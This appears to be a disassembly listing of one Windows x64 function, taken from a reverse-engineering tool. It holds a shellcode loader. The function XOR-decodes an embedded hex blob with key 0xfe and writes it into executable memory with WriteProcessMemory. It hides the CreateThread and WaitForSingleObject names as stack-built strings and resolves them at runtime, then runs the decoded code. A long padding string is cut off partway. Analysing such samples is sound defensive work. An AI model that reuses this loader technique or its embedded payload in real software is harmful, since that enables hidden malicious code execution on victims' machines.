Function at 0x140001773
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x40], 0xfffffffffffffffe
lea rsi, [rbp - 0x20]
mov rcx, rsi
call fcn.1400019f8
lea rdx, [rbp + 0x18]
mov dword [rdx], 0xbb8
lea rdi, [rbp - 8]
mov rcx, rdi
call fcn.140001b3c
mov rcx, rdi
call fcn.140001afb
lea rdi, [rbp - 0x18]
mov rcx, rdi
call fcn.1400019f8
lea rbx, [rbp - 8]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140001ba9
lea rsi, [rbp - 0x10]
mov rcx, rsi
mov rdx, rbx
call fcn.140001b46
mov rcx, rsi
call fcn.140001c10
mov edx, 0x7f149
sub edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001c14]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.e92f00000022610277bee0c5a9f610f420c6479c85bf24ee16b77491aabf563def559e86f7db78f5f3484e5d3e1eeb6c9d9ce081564881c6af0000005ee8c0020000000000047125a10390980e0000802931e24881c1020100005049c7c043010000e42f9d4c450fb634431f45ea44240149a9be719639d10f843100000041ffc645db8d5ce80eb71434baff2fb8f048c3fb46883c344788140456faa82840bfe8c148ff8a14144430113eb7c62e8a31ba777524fe45884424ff60b0b833f4ac13dc82af9a6ed1b9cbba06d2b0b72c77d0cddcbd19901d529d6d5172fa654ca6186415f502efd41dd242a444418e213a4ac97531813519fe007836953f10a1a3169f8a33b366a2e5c3dc7aab6b391929a99b29566528b1f224f751326d28084916fa7106f9b64ef53984237a6703e2e9f3f7fc1db21450f7001fd65b07a818a4a10c04ff4c52875caa7e4237a40e39e693db08dce578d9b90118bd431a85fc2a59b5c48eaa5a341d712982ef72072737618921f69ebd4f5525cb5214a2382a4173ee891213f15c1cb2f64a8035668cd3c299bf9863d822acb3d04aab15ff688a48476a7fb4c73d7c79707d1e254d740f09278a3356f407bb61a8d61b2ebf02a57d904080ef4783d0b1d8bf7536e36f83484b19628514aca1b40f020abaa246a76c35160e0d5c6d62eff6a3cc7d8a430c7fb3ba696ba837b5605cb2093a530d49ad7221e66ba46c907a442a9f4da649648f8f2f0f2b12c3e3b23f19682bb3403e0d328f5d26ae41bea6eaa65d6b99db0803b68c7bbff1c569097fb4ee0efcd7ff89c82d5908e1e37a28191bc04f79cb0223b8a0d5a721805fd5fc9eb1c910b5bde55339a488e8c84e7f61ab9072cce3591e87542c957dd58c53d64e4f5685a24818b8df322338482f8b048bcf95b3c8155f3806e4891a5ac062e07689a1c9320f3cdeea03f9cc86ef5886567cecc93d45e0e555cd1dc37b8ce812fce7018ccae631d7360c730440b04b82ef3ef6646adde25f691f52076d25e6acd42fd177431801162af13f4ec99c6b41e3c787c79431d9e7c27d14519e5a5e2bd71c0d5efc339090415f49c10f324157594883c10848c101034c8b690849ffcd4c89690848ff41108169189aa2884b8169201fda3534814128da0591b14c8b613049ffc44c89613051415d4983c53849c7c1ccd765a04d294d0049f7550849ff45104c89e84883c01848c1081548c14808104c8b701049f7d64c89701048ff4818505a4883c22049c7c6635047d84c013248f75a0848ff421048c14a183f48f752204889d74883c7284c8b2f49f7dd4c892f48f7570848ff4f1048f75f18575a4883c22049c7c0046c4fc34c310252415a4983c208498b3248f7d649893241817208477e094341814210c17a8477498b721848ffc64989721849c14a200649c14a281b49c142302a4152415c4983c43849c10c240a49c14c24082141816c2410aeab36fb498b4c241848f7d149894c241848bbff192d3be362b1d149015c242048c7c34c4f25b349015c242841816c243012f28df9498b5c243848ffcb49895c24384154415b4983c3404d8b0349f7d04d890349c7c2e7b7a2ff4d2953084c89de4883c61048f7164c8b760849ffc64c8976084c8b561049ffca4c89561048f756184c8b5e2049f7d34c895e204c8b562849f7d24c8956284989f64983c63049c10e0349ff460849c146101541816e182ce6734b4c89f14883c12048ff0149c7c3cb075bf14c3159085141584983c010418128ceb5404e4181400804738bc649f75810418140182a04baf641505f4883c72081076560ce52816f085624e7454c8b7f1049f7df4c897f1048f75f1848ff4720488b5f2848ffcb48895f2848bb3038723d22930f9e48015f3048ba74a47c6d1db5659b483157388177401b6e123c8177481cea52ce48bb61b7880b52f9b9ce48015f5048f75f5857415e4983c660498b0648ffc0498906418176080188eb8848bf2aeb1e0ed334b33f49017e104156584883c0188100fc929bd0488b500848f7da4889500848c140100d48f750184c8b502049f7d24c89502048f75828505b4883c33048ff0b48f75b0848f7531048c143180648ff43204889d94883c12881299a1a13a848c141082a48ff411081691860cf0edd4881e9a002000051c3
lea rsi, [rbp - 8]
mov rcx, rsi
call fcn.140001250
lea rcx, [rbp + 0x18]
mov rdx, rsi
call fcn.14000149c
lea rcx, [rbp + 0x18]
call fcn.140001c4c
mov rdi, rax
mov qword [rbp + 0x30], rax
mov rcx, rax
call fcn.14000b558
mov rsi, rax
lea rcx, [rbp + 0x18]
call fcn.140001c54
mov rcx, rsi
mov rdx, rax
mov r8, rdi
call sub.ucrtbase.dll_memcpy
xor eax, eax
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
xor byte [rax + rcx], 0xfe
inc rax
cmp rax, 0x1191
jne 0x14000186b
call fcn.140001053
call fcn.140001408
lea rdi, [rbp + 0x38]
mov qword [rdi], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x30]
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
call fcn.14000b4a0
call fcn.14000139c
call fcn.140001053
mov rdi, qword [rbp + 0x30]
mov rbx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs rax, 0x64616572685465
lea rsi, [rbp - 0x30]
mov qword [rsi + 5], rax
movabs rax, 0x6854657461657243
mov qword [rsi], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call fcn.140001053
mov r8, qword [rbp + 0x38]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rsi
mov rsi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
lea rdi, [rbp - 0x50]
movaps xmmword [rdi], xmm0
mov dword [rdi + 0x10], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.140001053
mov rcx, rsi
mov edx, 0xffffffff
call rdi
lea rcx, [rbp + 0x18]
call fcn.14000176e
lea rcx, [rbp - 8]
call fcn.1400012ca
nop
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop rbp
ret